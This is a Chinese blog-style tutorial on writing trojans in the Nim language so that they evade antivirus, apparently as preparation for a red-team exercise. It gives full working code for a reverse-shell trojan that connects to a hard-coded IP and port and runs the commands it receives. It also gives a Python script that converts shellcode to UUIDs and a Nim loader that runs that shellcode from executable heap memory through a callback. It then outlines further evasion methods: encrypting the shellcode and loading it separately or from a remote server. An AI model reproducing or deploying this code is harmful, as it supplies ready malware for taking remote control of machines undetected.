nim语言木马开发初探
[TOC]
说明
本文参考至
一、前言
在经过一段时间研究使用go语言进行shellcode加载器免杀之后发现go语言的效果并没有以前那么好了,在近一段时间看公众号文章时发现了nim语言,该语言很小众,杀软对其针对的力度可能比较小,在教育护网前做一个初步的研究。
二、nim介绍与安装
Nim
是一种静态类型的、编译型、系统编程语言。它结合了其他成熟语言的成功概念(如 Python
、Ada
和 Modula
)。(参考:https://nim-lang-cn.org/)
具体安装步骤阅读说明中的参考文章
三、正式免杀
1、socket马
通过socket进行通信传输command,代码如下:
import net
import osproc
import os
var ip = "192.168.206.155"
var port = 2333
var Socket = newSocket()
var finalcommand : string
while true:
try:
Socket.connect(ip,Port(port))
while true:
Socket.send("connect to shell")
var command = Socket.recvLine()
if command == "exit":
Socket.send("exit")
Socket.close()
system.quit(0)
if system.hostOS == "windows":
finalcommand = "cmd /C" & command
else:
finalcommand = "/bin/sh -c" & command
var (cmdres,_) = execCmdEx(finalcommand)
Socket.send(cmdres)
except :
echo ""
sleep(5000)
continue
编译为exe:
nim c -d:mingw nsc.nim
现在已经失去了免杀效果,在使用火绒进行断网测试的时候拖入虚拟机即会被立马查杀,在火绒都会查杀的情况下就没有必要再去测试windows defender与360杀毒的测试了。
2、NimShellCodeLoader
参考文章
既然最低级的socket马会被查杀那就来换成shellcode加载器,不直接执行命令,而是将shellcode写入内存来进行免杀
2.1 uuid_exec_bin.nim
和go语言shellcode加载器操作类似,将msf或者cs的shellcode通过脚本转换为uuid,然后再将其写入内容并执行。其实从这里就并不难看出在进行免杀上使用nim语言和使用go语言在原理上并没有很大的不同,区别主要在于语法与调用方式。
shellcodeToUUID.py
import uuid
def convertToUUID(shellcode):
# If shellcode is not in multiples of 16, then add some nullbytes at the end
if len(shellcode) % 16 != 0:
print("[-] Shellcode's length not multiplies of 16 bytes")
print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
print("\n[*] Modified shellcode length: ", len(shellcode)+(16-(len(shellcode)%16)))
addNullbyte = b"\x00" * (16-(len(shellcode)%16))
shellcode += addNullbyte
uuids = []
for i in range(0, len(shellcode), 16):
uuidString = str(uuid.UUID(bytes_le=shellcode[i:i+16]))
uuids.append('"'+uuidString+'"')
return uuids
def main():
# Copy/Paste the MessageBox payload here. buf = <shellcode>
uuids = convertToUUID(buf)
print(*uuids, sep=",\n")
main()
uuid_exec_bin.nim
import winim
import strformat
when defined(windows):
when defined(amd64):
echo "[*] Running in x64 Process"
const SIZE = 18
var UUIDARR = allocCStringArray([])
when isMainModule:
# Creating and Allocating Heap Memory
echo fmt"[*] Allocating Heap Memory"
let hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0)
let ha = HeapAlloc(hHeap,0,0x100000)
var hptr = cast[DWORD_PTR](ha)
if hptr != 0:
echo fmt"[+] Heap Memory is Allocated at 0x{hptr.toHex}"
else:
echo fmt"[-] Heap Alloc Error "
quit(QuitFailure)
for i in 0..(SIZE-1):
var status = UuidFromStringA(cast[RPC_CSTR](UUIDARR[i]), cast[ptr UUID](hptr))
if status != RPC_S_OK:
if status == RPC_S_INVALID_STRING_UUID:
echo fmt"[-] Invalid UUID String Detected"
else:
echo fmt"[-] Something Went Wrong, Error Code: {status}"
quit(QuitFailure)
hptr += 16
echo fmt"[+] Shellcode is successfully placed between 0x{(cast[DWORD_PTR](ha)).toHex} and 0x{hptr.toHex}"
# Calling the Callback Function
echo fmt"[*] Calling the Callback Function ..."
EnumSystemLocalesA(cast[LOCALE_ENUMPROCA](ha), 0)
CloseHandle(hHeap)
quit(QuitSuccess)
2.2 使用算法加密shellcode
静态免杀的一种,使用例如凯撒、异或等等加密方式使得杀软无法直接识别出shellcode
2.3 分离式免杀
基本原理就是将shellcode不写死在木马中,而是将其保持在另外的文件中,在上传木马的时候同时上传shellcode文件,只在写入内存的情况下再进行读取。或是将其放在远程网络服务器中,在写入内存前在发送请求解析获取shellcode写入内存。该种方法也可以在一定情况下过杀软,但是还是属于静态免杀的一种。
四、总结
这些所谓的免杀其实都是静态免杀,最终结果也都一样,那就是暂时的过hash,但也只是暂时的,在继续深入进去就是动态绕过敏感函数,白加黑等等。继续努力学咯。